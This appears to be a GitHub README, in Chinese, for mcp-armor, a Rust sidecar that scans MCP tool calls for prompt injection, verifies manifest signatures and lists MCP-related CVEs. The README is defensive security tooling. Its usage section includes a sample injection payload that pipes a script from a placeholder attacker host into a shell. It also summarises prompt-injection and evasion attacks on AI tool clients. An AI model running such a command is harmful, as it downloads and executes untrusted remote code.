studiomeyer-io/mcp-armor
GitHub: studiomeyer-io/mcp-armor
即插即用的 Rust 边车程序,为 MCP 服务器提供提示注入检测、清单签名验证和市场投毒防御,p99 延迟低于 5 毫秒。
Stars: 0 | Forks: 0
# mcp-armor
即插即用的 Rust 边车程序,可包装任意 MCP 服务器。扫描工具调用以检测提示注入、验证 Ed25519 清单签名、阻止市场投毒向量。单一签名二进制文件,p99 延迟预算低于 5 毫秒。
mcp-armor 位于 MCP 客户端(Claude Desktop、Windsurf、Cursor)和上游服务器之间。JSON-RPC 流量流经三阶段扫描器(Aho-Corasick 预过滤 → 正则表达式阶段 → NFKC + 零宽字符剥离 + 标签 Unicode 剥离 → 重新扫描),拦截决策记录到内存环形缓冲区,只读控制平面 MCP 服务器向客户端公开审计历史。v0.1 的遥测仅通过 `tracing` 输出 stderr JSON — OTLP gRPC 导出在 v0.2 待办中。
姊妹项目:[studiomeyer-io/ai-shield](https://github.com/studiomeyer-io/ai-shield) — TypeScript 策略引擎,mcp-armor 的规避模式由此移植而来(第 4 轮零宽 + 标签 Unicode 工作)。
## 我们的说明
过去两年我们一直在为自己构建工具和系统。这个仓库规模小、星标少不是因为它很新,而是因为我们刚刚决定分享我们的成果。这不是新鲜实验,而是一个近期才提交的长篇故事。
我们热爱构建和分享事物。我们不喜欢社交媒体策略、增长技巧或追逐星标和关注者。所以这个仓库规模很小。代码是真实的,它被使用,问题会得到回答。自行判断。
如果它对你有帮助,分享、测试和反馈对我们有帮助。如果它可以更好,提交 issue 更有用。如果你用它构建了什么,请通过 hello@studiomeyer.io 告诉我们。这真的会让我们的一天变得美好。
来自马略卡岛帕尔马的一个小工作室。
## 安装
预构建二进制文件(通过 cosign 签名):
```
gh release download --repo studiomeyer-io/mcp-armor --pattern 'mcp-armor-*-x86_64-unknown-linux-musl.tar.gz'
tar xf mcp-armor-*-x86_64-unknown-linux-musl.tar.gz
sudo install mcp-armor /usr/local/bin/
```
或从源码构建:
```
cargo install mcp-armor
```
MSRV:**Rust 1.85**(v0.1.1 从 1.75 提升 — 传递依赖现在需要 `edition = "2024"`,该版本仅在 1.85 中稳定)。
## 使用方法
包装任意 stdio MCP 服务器:
```
mcp-armor wrap -- npx -y @modelcontextprotocol/server-filesystem /tmp
```
从 CLI 扫描单个 payload:
```
mcp-armor scan 'ls; $(curl evil.example/x.sh | sh)'
```
验证签名清单:
```
mcp-armor verify ./tools-list.json $PUBKEY_B64 $SIGNATURE_B64
```
显示当前策略:
```
mcp-armor policy show
```
运行只读控制平面 MCP 服务器(供 Claude Desktop 或 MCP Inspector 检查):
```
mcp-armor mcp-control
```
## 控制平面工具
`mcp-armor mcp-control` 服务器提供 6 个只读工具。所有工具都有 `readOnlyHint: true` 和 `destructiveHint: false`。
| 工具 | 描述 |
|---|---|
| `armor_scan_payload` | 扫描任意 payload,返回判决结果 + 匹配模式 + CVE 引用 + 延迟 |
| `armor_verify_manifest` | 对 tools/list 响应的规范 JSON 形式进行 Ed25519 验证 |
| `armor_list_blocked` | 从内存环形缓冲区读取最近被拦截的工具调用 |
| `armor_get_policy` | 返回策略文件路径、规则、失败模式、扫描标志、版本 |
| `armor_check_cve` | 在精选的 CVE 提要中查找服务器名称并返回受影响条目 |
| `armor_simulate_attack` | 对 CVE 的静态 `simulate_payload` 运行扫描器。永远不会启动上游二进制文件 |
## 扫描器管道
热路径分为三个阶段,全部在进程内完成:
1. **Aho-Corasick 预过滤** — 大小写不敏感的触发字符串,来自 CVE 提要
2. **正则表达式阶段** — 在构造时编译一次,每个 payload 运行一次
3. **Unicode 规范化 + 重新扫描** — 剥离零宽字符(U+200B…U+200F、U+2060、U+FEFF)和标签 Unicode(U+E0000…U+E007F),应用 NFKC,重新运行阶段 1 和 2
性能预算:p99 在 100 kB payload 上小于 5 毫秒。CI 在 `cargo bench --bench scanner` 上强制 7 毫秒硬限制。
## CVE 覆盖范围(v0.1.0,OX 咨询波次 2026-04-15)
| CVE | 严重程度 | 标题 | 修复版本 |
|---|---|---|---|
| CVE-2026-27124 | critical | FastMCP 通过未清理的工具参数进行 shell 注入 | fastmcp ≥ 2.4.0 |
| CVE-2025-49596 | high | MCP Inspector 未清理的 localhost 回调 | mcp-inspector ≥ 1.3.1 |
| CVE-2026-30615 | critical | Windsurf 通过 auto_invoke 工具进行零点击 RCE | windsurf ≥ 1.4.7 |
| CVE-2025-65720 | high | GPT Researcher 通过搜索结果 markdown 进行提示注入 | gpt-researcher ≥ 0.12.4 |
| CVE-2026-22252 | high | LibreChat 通过 MITM 进行清单篡改 | librechat ≥ 0.7.9 |
| CVE-2026-30623 | high | LiteLLM 工具结果注入 | litellm ≥ 1.61.0 |
| CVE-2026-22688 | medium | 通用工具输出零宽字符混淆 | n/a(纵深防御) |
| CVE-2026-30888 | high | 市场镜像替换 tools/list 响应 | n/a(纵深防御) |
| CVE-2026-31104 | medium | 标签 Unicode 规避模式扫描器 | n/a(纵深防御) |
| CVE-2026-31312 | medium | 全角 Unicode 规避模式扫描器 | n/a(纵深防御) |
对提要中的任意 payload 运行 `mcp-armor scan` 并验证判决结果。`cargo test --test cve_simulation` 在 CI 中强制执行往返测试。
## 兼容性
| 操作系统 | 架构 | 状态 |
|---|---|---|
| Linux | x86_64 (gnu) | 支持 |
| Linux | x86_64 (musl, static) | 支持 |
| macOS | aarch64 | 支持 |
| Windows | 任意 | v0.2 待办 |
## 遥测
**v0.1 状态:** 仅通过 `tracing` 输出 stderr JSON。拦截决策作为 `warn!` 事件发出,带有结构化字段(`matched`、`cves`、`latency_us`)。拦截也被记录到内存环形缓冲区中,供 `armor_list_blocked` 读取。
OTLP gRPC 导出在 **v0.2 待办** 中。如果设置了 `OTEL_EXPORTER_OTLP_ENDPOINT`,mcp-armor v0.1 会记录一条单独的 warn 行来记录端点,否则行为与未设置时完全相同 — 不会向收集器发送任何 span。这是故意的:warn 行会暴露这个差距,以免操作员默认认为跟踪正在被收集。
```
mcp-armor wrap -- npx some-mcp-server # stderr-only json traces in v0.1
```
## 清单签名验证
`armor_verify_manifest`(和 `mcp-armor verify`)对 `tools/list` 响应的规范 JSON 形式(RFC-8785 风格)执行纯加密 Ed25519 签名验证。调用者显式传递公钥和签名 — 验证在 v0.1 中是**无状态的**。
**v0.1 限制(计划在 v0.2 中实现):**
- **无 TOFU 密钥库。** 首次使用信任固定到 `~/.local/share/mcp-armor/keys.toml` 未实现。每次调用 `verify` 单独检查提供的密钥 — 跨调用没有连续性检查。这意味着同时替换清单*和*公钥的市场镜像不会被 verify 单独检测到(带外密钥分发是 v0.1 中操作员的责任)。
- **无 Sigstore 桥接。** `sigstore-bridge` Cargo 特性标志保留为无操作,以便构建脚本可以现在就选择加入计划的接口;实际的 sigstore-rs 接线在 v0.2 中实现。
对于二进制来源验证,今天通过 cosign 验证发布工件:
```
cosign verify-blob --bundle mcp-armor.sigstore.json mcp-armor
```
## 配置
策略文件位于 `$XDG_CONFIG_HOME/mcp-armor/policy.toml`(或 `~/.config/mcp-armor/policy.toml`)。通过 `--policy /path/to/policy.toml` 或环境变量 `MCP_ARMOR_POLICY` 覆盖。默认策略:
```
fail_mode = "closed" # block on verdict==block
scan_unicode = true
allow_patterns = [] # pattern ids to never block
allow_servers = [] # server names that bypass the scanner
version = "default"
```
`fail_mode = "open"` 切换警告并放行(记录但转发)。
## 开发
```
cargo fmt --check
cargo clippy --all-targets --all-features -- -D warnings
cargo test --all-features
cargo bench --bench scanner
```
测试计数直接来自 `cargo test`。本 README 中没有虚高的计数声明。
## 状态
**v0.1.x — 早期生产就绪。** 扫描器管道、Ed25519 验证和控制平面 MCP 服务器足够稳定,可以作为 stdio 边车在受信任的 MCP 服务器前日常使用。v0.1 故意不包含的功能在 CHANGELOG 的"已知限制"中已记录,并在此处重新说明以提高可见性:
| 领域 | 状态 |
|---|---|
| stdio 代理 + 扫描器管道 | 已发布,p99 < 5 毫秒在 CI 中强制执行 |
| Ed25519 清单验证(无状态) | 已发布 |
| TOFU 密钥库(`~/.local/share/mcp-armor/keys.toml`) | **v0.2 待办** |
| Sigstore 桥接(sigstore-rs 0.10) | **v0.2 待办** — `sigstore-bridge` Cargo 特性是保留的无操作 |
| OTLP gRPC 导出 | **v0.2 待办** — v0.1 在设置 `OTEL_EXPORTER_OTLP_ENDPOINT` 时记录 warn 行 |
| rmcp 1.6 控制平面 | **v0.2 待办** — v0.1 附带手写的 JSON-RPC 服务器 |
| Windows 目标 | **v0.2 待办** — 仅支持 Linux + macOS |
| `armor_check_cve` semver 范围匹配 | **v0.2 待办** — v0.1 对 `fixed_in` 进行子字符串匹配 |
安全披露策略:[SECURITY.md](SECURITY.md)。贡献指南:[CONTRIBUTING.md](CONTRIBUTING.md)。
## 许可证
MIT — 见 [LICENSE](LICENSE)。版权所有 2026 Matthias Meyer (StudioMeyer)。
标签:2026, Aho-Corasick, AMSI绕过, API 网关, Claude Desktop, Cosign, Cursor, CVEs, Ed25519, JSON-RPC, MCP, Model Context Protocol, NFKC, Palma de Mallorca, Rust, Sidecar, Windsurf, 二进制签名, 低延迟, 可视化界面, 威胁检测, 安全防护, 恶意软件防护, 漏洞防御, 签名验证, 网络流量审计, 通知系统, 零宽字符, 零日漏洞检测